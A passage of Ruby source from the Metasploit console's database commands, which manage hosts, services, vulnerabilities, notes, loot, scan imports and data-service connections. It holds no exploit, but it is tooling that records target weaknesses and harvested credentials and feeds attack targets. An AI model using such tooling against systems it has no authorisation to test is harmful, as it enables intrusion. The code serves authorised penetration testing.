host_ranges = [] search_term = nil output = nil default_columns = [ 'address', 'arch', 'comm', 'comments', 'created_at', 'cred_count', 'detected_arch', 'exploit_attempt_count', 'host_detail_count', 'info', 'mac', 'name', 'note_count', 'os_family', 'os_flavor', 'os_lang', 'os_name', 'os_sp', 'purpose', 'scope', 'service_count', 'state', 'updated_at', 'virtual_host', 'vuln_count', 'workspace_id'] default_columns << 'tags' # Special case virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ] col_search = @@hosts_columns default_columns.delete_if {|v| (v[-2,2] == "id")} while (arg = args.shift) case arg when '-a','--add' mode << :add when '-d','--delete' mode << :delete when '-c','-C' list = args.shift if(!list) print_error("Invalid column list") return end col_search = list.strip().split(",") col_search.each { |c| if not default_columns.include?(c) and not virtual_columns.include?(c) all_columns = default_columns + virtual_columns print_error("Invalid column list. Possible values are (#{all_columns.join("|")})") return end } if (arg == '-C') @@hosts_columns = col_search end when '-u','--up' onlyup = true when '-o' output = args.shift when '-O' if (order_by = args.shift.to_i - 1) < 0 print_error('Please specify a column number starting from 1') return end when '-R', '--rhosts' set_rhosts = true when '-S', '--search' search_term = args.shift when '-i', '--info' mode << :new_info info_data = args.shift when '-n', '--name' mode << :new_name name_data = args.shift when '-m', '--comment' mode << :new_comment comment_data = args.shift when '-t', '--tag' mode << :tag tag_name = args.shift when '-h','--help' print_line "Usage: hosts [ options ] [addr1 addr2 ...]" print_line print_line "OPTIONS:" print_line " -a,--add Add the hosts instead of searching" print_line " -d,--delete Delete the hosts instead of searching" print_line " -c <col1,col2> Only show the given columns (see list below)" print_line " -C <col1,col2> Only show the given columns until the next restart (see list below)" print_line " -h,--help Show this help information" print_line " -u,--up Only show hosts which are up" print_line " -o <file> Send output to a file in csv format" print_line " -O <column> Order rows by specified column number" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line " -S,--search Search string to filter by" print_line " -i,--info Change the info of a host" print_line " -n,--name Change the name of a host" print_line " -m,--comment Change the comment of a host" print_line " -t,--tag Add or specify a tag to a range of hosts" print_line print_line "Available columns: #{default_columns.join(", ")}" print_line return else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) return end end end if col_search col_names = col_search else col_names = default_columns + virtual_columns end mode << :search if mode.empty? if mode == [:add] host_ranges.each do |range| range.each do |address| host = framework.db.find_or_create_host(:host => address) print_status("Time: #{host.created_at} Host: host=#{host.address}") end end return end cp_hsh = {} col_names.map do |col| cp_hsh[col] = { 'MaxChar' => 52 } end # If we got here, we're searching. Delete implies search tbl = Rex::Text::Table.new( { 'Header' => "Hosts", 'Columns' => col_names, 'ColProps' => cp_hsh, 'SortIndex' => order_by }) # Sentinel value meaning all host_ranges.push(nil) if host_ranges.empty? case when mode == [:new_info] change_host_data(host_ranges, info: info_data) return when mode == [:new_name] change_host_data(host_ranges, name: name_data) return when mode == [:new_comment] change_host_data(host_ranges, comments: comment_data) return when mode == [:tag] begin add_host_tag(host_ranges, tag_name) rescue => e if e.message.include?('Validation failed') print_error(e.message) else raise e end end return when mode.include?(:tag) && mode.include?(:delete) delete_host_tag(host_ranges, tag_name) return end matched_host_ids = [] each_host_range_chunk(host_ranges) do |host_search| next if host_search && host_search.empty? framework.db.hosts(address: host_search, non_dead: onlyup, search_term: search_term).each do |host| matched_host_ids << host.id columns = col_names.map do |n| # Deal with the special cases if virtual_columns.include?(n) case n when "svcs"; host.service_count when "vulns"; host.vuln_count when "workspace"; host.workspace.name when "tags" found_tags = find_host_tags(framework.db.workspace.id, host.address) tag_names = [] found_tags.each { |t| tag_names << t.name } found_tags * ", " end # Otherwise, it's just an attribute else host[n] || "" end end tbl << columns if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address) rhosts << addr end end if mode == [:delete] result = framework.db.delete_host(ids: matched_host_ids) delete_count += result.size end end if output print_status("Wrote hosts to #{output}") ::File.open(output, "wb") { |ofd| ofd.write(tbl.to_csv) } else print_line print_line(tbl.to_s) end # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} hosts") if delete_count > 0 end def cmd_services_help # Like cmd_hosts, use "-h" instead of recreating the column list # here cmd_services("-h") end def cmd_services(*args) return unless active? mode = :search onlyup = false output_file = nil set_rhosts = false col_search = ['port', 'proto', 'name', 'state', 'info'] default_columns = [ 'created_at', 'info', 'name', 'port', 'proto', 'state', 'updated_at'] host_ranges = [] port_ranges = [] rhosts = [] delete_count = 0 search_term = nil opts = {} # option parsing while (arg = args.shift) case arg when '-a','--add' mode = :add when '-d','--delete' mode = :delete when '-U', '--update' mode = :update when '-u','--up' onlyup = true when '-c' list = args.shift if(!list) print_error("Invalid column list") return end col_search = list.strip().split(",") col_search.each { |c| if not default_columns.include? c print_error("Invalid column list. Possible values are (#{default_columns.join("|")})") return end } when '-p' unless (arg_port_range(args.shift, port_ranges, true)) return end when '-r' proto = args.shift if (!proto) print_status("Invalid protocol") return end proto = proto.strip when '-s' namelist = args.shift if (!namelist) print_error("Invalid name list") return end names = namelist.strip().split(",") when '-o' output_file = args.shift if (!output_file) print_error("Invalid output filename") return end output_file = ::File.expand_path(output_file) when '-O' if (order_by = args.shift.to_i - 1) < 0 print_error('Please specify a column number starting from 1') return end when '-R', '--rhosts' set_rhosts = true when '-S', '--search' search_term = args.shift opts[:search_term] = search_term when '-h','--help' print_line print_line "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]" print_line print_line " -a,--add Add the services instead of searching" print_line " -d,--delete Delete the services instead of searching" print_line " -c <col1,col2> Only show the given columns" print_line " -h,--help Show this help information" print_line " -s <name> Name of the service to add" print_line " -p <port> Search for a list of ports" print_line " -r <protocol> Protocol type of the service being added [tcp|udp]" print_line " -u,--up Only show services which are up" print_line " -o <file> Send output to a file in csv format" print_line " -O <column> Order rows by specified column number" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line " -S,--search Search string to filter by" print_line " -U,--update Update data for existing service" print_line print_line "Available columns: #{default_columns.join(", ")}" print_line return else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) return end end end ports = port_ranges.flatten.uniq if mode == :add # Can only deal with one port and one service name at a time # right now. Them's the breaks. if ports.length != 1 print_error("Exactly one port required") return end if host_ranges.empty? print_error("Host address or range required") return end host_ranges.each do |range| range.each do |addr| info = { :host => addr, :port => ports.first.to_i } info[:proto] = proto.downcase if proto info[:name] = names.first.downcase if names and names.first svc = framework.db.find_or_create_service(info) print_status("Time: #{svc.created_at} Service: host=#{svc.host.address} port=#{svc.port} proto=#{svc.proto} name=#{svc.name}") end end return end # If we got here, we're searching. Delete implies search col_names = default_columns if col_search col_names = col_search end tbl = Rex::Text::Table.new({ 'Header' => "Services", 'Columns' => ['host'] + col_names, 'SortIndex' => order_by }) # Sentinel value meaning all host_ranges.push(nil) if host_ranges.empty? ports = nil if ports.empty? matched_service_ids = [] each_host_range_chunk(host_ranges) do |host_search| next if host_search && host_search.empty? opts[:workspace] = framework.db.workspace opts[:hosts] = {address: host_search} if !host_search.nil? opts[:port] = ports if ports framework.db.services(opts).each do |service| unless service.state == 'open' next if onlyup end host = service.host matched_service_ids << service.id if mode == :update service.name = names.first if names service.proto = proto if proto service.port = ports.first if ports framework.db.update_service(service.as_json.symbolize_keys) end columns = [host.address] + col_names.map { |n| service[n].to_s || "" } tbl << columns if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end end end if (mode == :delete) result = framework.db.delete_service(ids: matched_service_ids) delete_count += result.size end if (output_file == nil) print_line(tbl.to_s) else # create the output file ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } print_status("Wrote services to #{output_file}") end # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} services") if delete_count > 0 end def cmd_vulns_help print_line "Print all vulnerabilities in the database" print_line print_line "Usage: vulns [addr range]" print_line print_line " -h,--help Show this help information" print_line " -o <file> Send output to a file in csv format" print_line " -p,--port <portspec> List vulns matching this port spec" print_line " -s <svc names> List vulns matching these service names" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line " -S,--search Search string to filter by" print_line " -i,--info Display vuln information" print_line print_line "Examples:" print_line " vulns -p 1-65536 # only vulns with associated services" print_line " vulns -p 1-65536 -s http # identified as http on any port" print_line end def cmd_vulns(*args) return unless active? default_columns = ['Timestamp', 'Host', 'Name', 'References'] host_ranges = [] port_ranges = [] svcs = [] rhosts = [] search_term = nil show_info = false set_rhosts = false output_file = nil delete_count = 0 while (arg = args.shift) case arg # when '-a', '--add' # mode = :add when '-d', '--delete' # TODO: This is currently undocumented because it's not officially supported. mode = :delete when '-h', '--help' cmd_vulns_help return when '-o', '--output' output_file = args.shift if output_file output_file = File.expand_path(output_file) else print_error("Invalid output filename") return end when '-p', '--port' unless (arg_port_range(args.shift, port_ranges, true)) return end when '-s', '--service' service = args.shift if (!service) print_error("Argument required for -s") return end svcs = service.split(/[\s]*,[\s]*/) when '-R', '--rhosts' set_rhosts = true when '-S', '--search' search_term = args.shift when '-i', '--info' show_info = true else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) return end end end if show_info default_columns << 'Information' end # add sentinel value meaning all if empty host_ranges.push(nil) if host_ranges.empty? # normalize ports = port_ranges.flatten.uniq svcs.flatten! tbl = Rex::Text::Table.new( 'Header' => 'Vulnerabilities', 'Columns' => default_columns ) matched_vuln_ids = [] vulns = [] if host_ranges.compact.empty? vulns = framework.db.vulns({:search_term => search_term}) else each_host_range_chunk(host_ranges) do |host_search| next if host_search && host_search.empty? vulns.concat(framework.db.vulns({:hosts => { :address => host_search }, :search_term => search_term })) end end vulns.each do |vuln| reflist = vuln.refs.map {|r| r.name} if (vuln.service) # Skip this one if the user specified a port and it # doesn't match. next unless ports.empty? or ports.include? vuln.service.port # Same for service names next unless svcs.empty? or svcs.include?(vuln.service.name) else # This vuln has no service, so it can't match next unless ports.empty? and svcs.empty? end matched_vuln_ids << vuln.id row = [] row << vuln.created_at row << vuln.host.address row << vuln.name row << reflist.join(',') if show_info row << vuln.info end tbl << row if set_rhosts addr = (vuln.host.scope ? vuln.host.address + '%' + vuln.host.scope : vuln.host.address) rhosts << addr end end if mode == :delete result = framework.db.delete_vuln(ids: matched_vuln_ids) delete_count = result.size end if output_file File.write(output_file, tbl.to_csv) print_status("Wrote vulnerability information to #{output_file}") else print_line print_line(tbl.to_s) end # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} vulnerabilities") if delete_count > 0 end def cmd_notes_help print_line "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]" print_line print_line " -a,--add Add a note to the list of addresses, instead of listing" print_line " -d,--delete Delete the hosts instead of searching" print_line " -n,--note <data> Set the data for a new note (only with -a)" print_line " -t,--type <type1,type2> Search for a list of types, or set single type for add" print_line " -h,--help Show this help information" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line " -S,--search Search string to filter by" print_line " -o,--output Save the notes to a csv file" print_line " -O <column> Order rows by specified column number" print_line print_line "Examples:" print_line " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41" print_line " notes -t smb.fingerprint 10.1.1.34 10.1.20.41" print_line " notes -S 'nmap.nse.(http|rtsp)'" print_line end def cmd_notes(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { mode = :search data = nil types = nil set_rhosts = false host_ranges = [] rhosts = [] search_term = nil output_file = nil delete_count = 0 while (arg = args.shift) case arg when '-a', '--add' mode = :add when '-d', '--delete' mode = :delete when '-n', '--note' data = args.shift if(!data) print_error("Can't make a note with no data") return end when '-t', '--type' typelist = args.shift if(!typelist) print_error("Invalid type list") return end types = typelist.strip().split(",") when '-R', '--rhosts' set_rhosts = true when '-S', '--search' search_term = args.shift when '-o', '--output' output_file = args.shift when '-O' if (order_by = args.shift.to_i - 1) < 0 print_error('Please specify a column number starting from 1') return end when '-u', '--update' # TODO: This is currently undocumented because it's not officially supported. mode = :update when '-h', '--help' cmd_notes_help return else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) return end end end if mode == :add if host_ranges.compact.empty? print_error("Host address or range required") return end if types.nil? || types.size != 1 print_error("Exactly one type is required") return end if data.nil? print_error("Data required") return end type = types.first host_ranges.each { |range| range.each { |addr| note = framework.db.find_or_create_note(host: addr, type: type, data: data) break if not note print_status("Time: #{note.created_at} Note: host=#{addr} type=#{note.ntype} data=#{note.data}") } } return end if mode == :update if !types.nil? && types.size != 1 print_error("Exactly one type is required") return end if types.nil? && data.nil? print_error("Update requires data or type") return end end note_list = [] if host_ranges.compact.empty? # No host specified - collect all notes opts = {search_term: search_term} opts[:ntype] = types if mode != :update && types && !types.empty? note_list = framework.db.notes(opts) else # Collect notes of specified hosts each_host_range_chunk(host_ranges) do |host_search| next if host_search && host_search.empty? opts = {hosts: {address: host_search}, workspace: framework.db.workspace, search_term: search_term} opts[:ntype] = types if mode != :update && types && !types.empty? note_list.concat(framework.db.notes(opts)) end end # Now display them table = Rex::Text::Table.new( 'Header' => 'Notes', 'Indent' => 1, 'Columns' => ['Time', 'Host', 'Service', 'Port', 'Protocol', 'Type', 'Data'], 'SortIndex' => order_by ) matched_note_ids = [] note_list.each do |note| if mode == :update begin update_opts = {id: note.id} unless types.nil? note.ntype = types.first update_opts[:ntype] = types.first end unless data.nil? note.data = data update_opts[:data] = data end framework.db.update_note(update_opts) rescue => e elog "There was an error updating note with ID #{note.id}: #{e.message}" next end end matched_note_ids << note.id row = [] row << note.created_at if note.host host = note.host row << host.address if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address) rhosts << addr end else row << '' end if note.service row << note.service.name || '' row << note.service.port || '' row << note.service.proto || '' else row << '' # For the Service field row << '' # For the Port field row << '' # For the Protocol field end row << note.ntype row << note.data.inspect table << row end if mode == :delete result = framework.db.delete_note(ids: matched_note_ids) delete_count = result.size end if output_file save_csv_notes(output_file, table) else print_line print_line(table.to_s) end # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} notes") if delete_count > 0 } end def save_csv_notes(fpath, table) begin File.open(fpath, 'wb') do |f| f.write(table.to_csv) end print_status("Wrote notes to #{fpath}") rescue Errno::EACCES => e print_error("Unable to save notes. #{e.message}") end end def cmd_loot_help print_line "Usage: loot [options]" print_line " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]" print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]" print_line " Del: loot -d [addr1 addr2 ...]" print_line print_line " -a,--add Add loot to the list of addresses, instead of listing" print_line " -d,--delete Delete *all* loot matching host and type" print_line " -f,--file File with contents of the loot to add" print_line " -i,--info Info of the loot to add" print_line " -t <type1,type2> Search for a list of types" print_line " -h,--help Show this help information" print_line " -S,--search Search string to filter by" print_line end def cmd_loot(*args) return unless active? mode = :search host_ranges = [] types = nil delete_count = 0 search_term = nil file = nil name = nil info = nil while (arg = args.shift) case arg when '-a','--add' mode = :add when '-d','--delete' mode = :delete when '-f','--file' filename = args.shift if(!filename) print_error("Can't make loot with no filename") return end if (!File.exist?(filename) or !File.readable?(filename)) print_error("Can't read file") return end when '-i','--info' info = args.shift if(!info) print_error("Can't make loot with no info") return end when '-t', '--type' typelist = args.shift if(!typelist) print_error("Invalid type list") return end types = typelist.strip().split(",") when '-S', '--search' search_term = args.shift when '-u', '--update' # TODO: This is currently undocumented because it's not officially supported. mode = :update when '-h','--help' cmd_loot_help return else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) return end end end tbl = Rex::Text::Table.new({ 'Header' => "Loot", 'Columns' => [ 'host', 'service', 'type', 'name', 'content', 'info', 'path' ], }) # Sentinel value meaning all host_ranges.push(nil) if host_ranges.empty? if mode == :add if host_ranges.compact.empty? print_error('Address list required') return end if info.nil? print_error("Info required") return end if filename.nil? print_error("Loot file required") return end if types.nil? or types.size != 1 print_error("Exactly one loot type is required") return end type = types.first name = File.basename(filename) file = File.open(filename, "rb") contents = file.read host_ranges.each do |range| range.each do |host| lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name) print_status("Added loot for #{host} (#{lootfile})") end end return end matched_loot_ids = [] loots = [] if host_ranges.compact.empty? loots = loots + framework.db.loots(workspace: framework.db.workspace, search_term: search_term) else each_host_range_chunk(host_ranges) do |host_search| next if host_search && host_search.empty? loots = loots + framework.db.loots(workspace: framework.db.workspace, hosts: { address: host_search }, search_term: search_term) end end loots.each do |loot| row = [] # TODO: This is just a temp implementation of update for the time being since it did not exist before. # It should be updated to not pass all of the attributes attached to the object, only the ones being updated. if mode == :update begin loot.info = info if info if types && types.size > 1 print_error "May only pass 1 type when performing an update." next end loot.ltype = types.first if types framework.db.update_loot(loot.as_json.symbolize_keys) rescue => e elog "There was an error updating loot with ID #{loot.id}: #{e.message}" next end end row.push (loot.host && loot.host.address) ? loot.host.address : "" if (loot.service) svc = (loot.service.name ? loot.service.name : "#{loot.service.port}/#{loot.service.proto}") row.push svc else row.push "" end row.push(loot.ltype) row.push(loot.name || "") row.push(loot.content_type) row.push(loot.info || "") row.push(loot.path) tbl << row matched_loot_ids << loot.id end if (mode == :delete) result = framework.db.delete_loot(ids: matched_loot_ids) delete_count = result.size end print_line print_line(tbl.to_s) print_status("Deleted #{delete_count} loots") if delete_count > 0 end # :category: Deprecated Commands def cmd_db_hosts_help; deprecated_help(:hosts); end # :category: Deprecated Commands def cmd_db_notes_help; deprecated_help(:notes); end # :category: Deprecated Commands def cmd_db_vulns_help; deprecated_help(:vulns); end # :category: Deprecated Commands def cmd_db_services_help; deprecated_help(:services); end # :category: Deprecated Commands def cmd_db_autopwn_help; deprecated_help; end # :category: Deprecated Commands def cmd_db_driver_help; deprecated_help; end # :category: Deprecated Commands def cmd_db_hosts(*args); deprecated_cmd(:hosts, *args); end # :category: Deprecated Commands def cmd_db_notes(*args); deprecated_cmd(:notes, *args); end # :category: Deprecated Commands def cmd_db_vulns(*args); deprecated_cmd(:vulns, *args); end # :category: Deprecated Commands def cmd_db_services(*args); deprecated_cmd(:services, *args); end # :category: Deprecated Commands def cmd_db_autopwn(*args); deprecated_cmd; end # # :category: Deprecated Commands # # This one deserves a little more explanation than standard deprecation # warning, so give the user a better understanding of what's going on. # def cmd_db_driver(*args) deprecated_cmd print_line print_line "Because Metasploit no longer supports databases other than the default" print_line "PostgreSQL, there is no longer a need to set the driver. Thus db_driver" print_line "is not useful and its functionality has been removed. Usually Metasploit" print_line "will already have connected to the database; check db_status to see." print_line cmd_db_status end def cmd_db_import_tabs(str, words) tab_complete_filenames(str, words) end def cmd_db_import_help print_line "Usage: db_import <filename> [file2...]" print_line print_line "Filenames can be globs like *.xml, or **/*.xml which will search recursively" print_line "Currently supported file types include:" print_line " Acunetix" print_line " Amap Log" print_line " Amap Log -m" print_line " Appscan" print_line " Burp Session XML" print_line " Burp Issue XML" print_line " CI" print_line " Foundstone" print_line " FusionVM XML" print_line " Group Policy Preferences Credentials" print_line " IP Address List" print_line " IP360 ASPL" print_line " IP360 XML v3" print_line " Libpcap Packet Capture" print_line " Masscan XML" print_line " Metasploit PWDump Export" print_line " Metasploit XML" print_line " Metasploit Zip Export" print_line " Microsoft Baseline Security Analyzer" print_line " NeXpose Simple XML" print_line " NeXpose XML Report" print_line " Nessus NBE Report" print_line " Nessus XML (v1)" print_line " Nessus XML (v2)" print_line " NetSparker XML" print_line " Nikto XML" print_line " Nmap XML" print_line " OpenVAS Report" print_line " OpenVAS XML" print_line " Outpost24 XML" print_line " Qualys Asset XML" print_line " Qualys Scan XML" print_line " Retina XML" print_line " Spiceworks CSV Export" print_line " Wapiti XML" print_line end # # Generic import that automatically detects the file type # def cmd_db_import(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { if args.include?("-h") || ! (args && args.length > 0) cmd_db_import_help return end args.each { |glob| files = ::Dir.glob(::File.expand_path(glob)) if files.empty? print_error("No such file #{glob}") next end files.each { |filename| if (not ::File.readable?(filename)) print_error("Could not read file #{filename}") next end begin warnings = 0 framework.db.import_file(:filename => filename) do |type,data| case type when :debug print_error("DEBUG: #{data.inspect}") when :vuln inst = data[1] == 1 ? "instance" : "instances" print_status("Importing vulnerability '#{data[0]}' (#{data[1]} #{inst})") when :filetype print_status("Importing '#{data}' data") when :parser print_status("Import: Parsing with '#{data}'") when :address print_status("Importing host #{data}") when :service print_status("Importing service #{data}") when :msf_loot print_status("Importing loot #{data}") when :msf_task print_status("Importing task #{data}") when :msf_report print_status("Importing report #{data}") when :pcap_count print_status("Import: #{data} packets processed") when :record_count print_status("Import: #{data[1]} records processed") when :warning print_error data.split("\n").each do |line| print_error(line) end print_error warnings += 1 end end print_status("Successfully imported #{filename}") print_error("Please note that there were #{warnings} warnings") if warnings > 1 print_error("Please note that there was one warning") if warnings == 1 rescue Msf::DBImportError print_error("Failed to import #{filename}: #{$!}") elog("Failed to import #{filename}: #{$!.class}: #{$!}") dlog("Call stack: #{[email protected]("\n")}", LEV_3) next rescue REXML::ParseException => e print_error("Failed to import #{filename} due to malformed XML:") print_error("#{e.class}: #{e}") elog("Failed to import #{filename}: #{e.class}: #{e}") dlog("Call stack: #{[email protected]("\n")}", LEV_3) next end } } } end def cmd_db_export_help # Like db_hosts and db_services, this creates a list of columns, so # use its -h cmd_db_export("-h") end # # Export an XML # def cmd_db_export(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { export_formats = %W{xml pwdump} format = 'xml' output = nil while (arg = args.shift) case arg when '-h','--help' print_line "Usage:" print_line " db_export -f <format> [filename]" print_line " Format can be one of: #{export_formats.join(", ")}" when '-f','--format' format = args.shift.to_s.downcase else output = arg end end if not output print_error("No output file was specified") return end if not export_formats.include?(format) print_error("Unsupported file format: #{format}") print_error("Unsupported file format: '#{format}'. Must be one of: #{export_formats.join(", ")}") return end print_status("Starting export of workspace #{framework.db.workspace.name} to #{output} [ #{format} ]...") framework.db.run_db_export(output, format) print_status("Finished export of workspace #{framework.db.workspace.name} to #{output} [ #{format} ]...") } end def find_nmap_path Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe") end # # Import Nmap data from a file # def cmd_db_nmap(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { if (args.length == 0) print_status("Usage: db_nmap [--save | [--help | -h]] [nmap options]") return end save = false arguments = [] while (arg = args.shift) case arg when '--save' save = true when '--help', '-h' cmd_db_nmap_help return else arguments << arg end end nmap = find_nmap_path unless nmap print_error("The nmap executable could not be found") return end fd = Rex::Quickfile.new(['msf-db-nmap-', '.xml'], Msf::Config.local_directory) begin # When executing native Nmap in Cygwin, expand the Cygwin path to a Win32 path if(Rex::Compat.is_cygwin and nmap =~ /cygdrive/) # Custom function needed because cygpath breaks on 8.3 dirs tout = Rex::Compat.cygwin_to_win32(fd.path) arguments.push('-oX', tout) else arguments.push('-oX', fd.path) end begin nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments) temp_nmap_threads = [] temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1| np_1.each_line do |nmap_out| next if nmap_out.strip.empty? print_status("Nmap: #{nmap_out.strip}") end end temp_nmap_threads << framework.threads.spawn("db_nmap-Stderr", false, nmap_pipe[2]) do |np_2| np_2.each_line do |nmap_err| next if nmap_err.strip.empty? print_status("Nmap: '#{nmap_err.strip}'") end end temp_nmap_threads.map {|t| t.join rescue nil} nmap_pipe.each {|p| p.close rescue nil} rescue ::IOError end framework.db.import_nmap_xml_file(:filename => fd.path) print_status("Saved NMAP XML results to #{fd.path}") if save ensure fd.close fd.unlink unless save end } end def cmd_db_nmap_help nmap = find_nmap_path unless nmap print_error("The nmap executable could not be found") return end stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') stdout.each_line do |out_line| next if out_line.strip.empty? print_status(out_line.strip) end stderr.each_line do |err_line| next if err_line.strip.empty? print_error(err_line.strip) end end def cmd_db_nmap_tabs(str, words) nmap = find_nmap_path unless nmap return end stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') tabs = [] stdout.each_line do |out_line| if out_line.strip.starts_with?('-') tabs.push(out_line.strip.split(':').first) end end stderr.each_line do |err_line| next if err_line.strip.empty? print_error(err_line.strip) end return tabs end # # Database management # def db_check_driver unless framework.db.driver print_error("No database driver installed.") return false end true end # # Is everything working? # def cmd_db_status(*args) return if not db_check_driver if framework.db.connection_established? print_connection_info else print_status("#{framework.db.driver} selected, no connection") end end def cmd_db_connect_help print_line(" USAGE:") print_line(" * Postgres Data Service:") print_line(" db_connect <user:[pass]>@<host:[port]>/<database>") print_line(" Examples:") print_line(" db_connect user@metasploit3") print_line(" db_connect user:[email protected]/metasploit3") print_line(" db_connect user:[email protected]:1500/metasploit3") print_line(" db_connect -y [path/to/database.yml]") print_line(" ") print_line(" * HTTP Data Service:") print_line(" db_connect [options] <http|https>://<host:[port]>") print_line(" Examples:") print_line(" db_connect http://localhost:8080") print_line(" db_connect http://my-super-msf-data.service.com") print_line(" db_connect -c ~/cert.pem -t 6a7a74c1a5003802c955ead1bbddd4ab1b05a7f2940b4732d34bfc555bc6e1c5d7611a497b29e8f0 https://localhost:8080") print_line(" NOTE: You must be connected to a Postgres data service in order to successfully connect to a HTTP data service.") print_line(" ") print_line(" Persisting Connections:") print_line(" db_connect --name <name to save connection as> [options] <address>") print_line(" Examples:") print_line(" Saving: db_connect --name LA-server http://123.123.123.45:1234") print_line(" Connecting: db_connect LA-server") print_line(" ") print_line(" OPTIONS:") print_line(" -l,--list-services List the available data services that have been previously saved.") print_line(" -y,--yaml Connect to the data service specified in the provided database.yml file.") print_line(" -n,--name Name used to store the connection. Providing an existing name will overwrite the settings for that connection.") print_line(" -c,--cert Certificate file matching the remote data server's certificate. Needed when using self-signed SSL cert.") print_line(" -t,--token The API token used to authenticate to the remote data service.") print_line(" --skip-verify Skip validating authenticity of server's certificate (NOT RECOMMENDED).") print_line("") end def cmd_db_connect(*args) return if not db_check_driver opts = {} https_opts = {} while (arg = args.shift) case arg when '-h', '--help' cmd_db_connect_help return when '-y', '--yaml' yaml_file = args.shift when '-c', '--cert' https_opts[:cert] = args.shift when '-t', '--token' opts[:api_token] = args.shift when '-l', '--list-services' list_saved_data_services return when '-n', '--name' name = args.shift if name =~ /\/|\[|\]/ print_error "Provided name contains an invalid character. Aborting connection." return end when '--skip-verify' https_opts[:skip_verify] = true else found_name = data_service_search(arg) if found_name opts = load_db_config(found_name) else opts[:url] = arg end end end opts[:https_opts] = https_opts unless https_opts.empty? if !opts[:url] && !yaml_file print_error 'A URL or saved data service name is required.' print_line cmd_db_connect_help return end if opts[:url] =~ /http/ new_conn_type = 'http' else new_conn_type = framework.db.driver end # Currently only able to be connected to one DB at a time if framework.db.connection_established? # But the http connection still requires a local database to support AR, so we have to allow that # Don't allow more than one HTTP service, though if new_conn_type != 'http' || framework.db.get_services_metadata.count >= 2 print_error('Connection already established. Only one connection is allowed at a time.') print_error('Run db_disconnect first if you wish to connect to a different data service.') print_line print_line 'Current connection information:' print_connection_info return end end if yaml_file if (yaml_file and not ::File.exist? ::File.expand_path(yaml_file)) print_error("File not found") return end file = yaml_file || ::File.join(Msf::Config.get_config_root, "database.yml") file = ::File.expand_path(file) if (::File.exist? file) db = YAML.load(::File.read(file))['production'] framework.db.connect(db) print_line('Connected to the database specified in the YAML file.') return end end meth = "db_connect_#{new_conn_type}" if(self.respond_to?(meth, true)) self.send(meth, opts) else print_error("This database driver #{new_conn_type} is not currently supported") end if framework.db.active if !name || name.empty? if found_name name = found_name else name = Rex::Text.rand_text_alphanumeric(8) end end save_db_to_config(framework.db, name) @current_data_service = name end end def cmd_db_disconnect_help print_line "Usage: db_disconnect" print_line print_line "Disconnect from the data service." print_line end def cmd_db_disconnect(*args) return if not db_check_driver if(args[0] and (args[0] == "-h" || args[0] == "--help")) cmd_db_disconnect_help return end db_name = framework.db.name if framework.db.active if framework.db.driver == 'http' begin framework.db.delete_current_data_service local_db_url = build_postgres_url local_name = data_service_search(local_db_url) @current_data_service = local_name rescue => e print_error "Unable to disconnect from the data service: #{e.message}" end else framework.db.disconnect @current_data_service = nil end print_line "Successfully disconnected from the data service: #{db_name}." else print_error "Not currently connected to a data service." end end def cmd_db_rebuild_cache(*args) print_line "This command is deprecated with Metasploit 5" end def cmd_db_save_help print_line "Usage: db_save" print_line print_line "Save the current data service connection as the default to reconnect on startup." print_line end def cmd_db_save(*args) while (arg = args.shift) case arg when '-h', '--help' cmd_db_save_help return end end if !framework.db.active || !@current_data_service print_error "Not currently connected to a data service that can be saved." return end begin Msf::Config.save(DB_CONFIG_PATH => { 'default_db' => @current_data_service }) print_line "Successfully saved data service as default: #{@current_data_service}" rescue ArgumentError => e print_error e.message end end def save_db_to_config(database, database_name) if database_name =~ /\/|\[|\]/ raise ArgumentError, 'Data service name contains an invalid character.' end config_path = "#{DB_CONFIG_PATH}/#{database_name}" config_opts = {} if !database.is_local? begin config_opts['url'] = database.endpoint if database.https_opts config_opts['cert'] = database.https_opts[:cert] if database.https_opts[:cert] config_opts['skip_verify'] = true if database.https_opts[:skip_verify] end if database.api_token config_opts['api_token'] = database.api_token end Msf::Config.save(config_path => config_opts) rescue => e print_error "There was an error saving the data service configuration: #{e.message}" end else url = build_postgres_url config_opts['url'] = url Msf::Config.save(config_path => config_opts) end end def 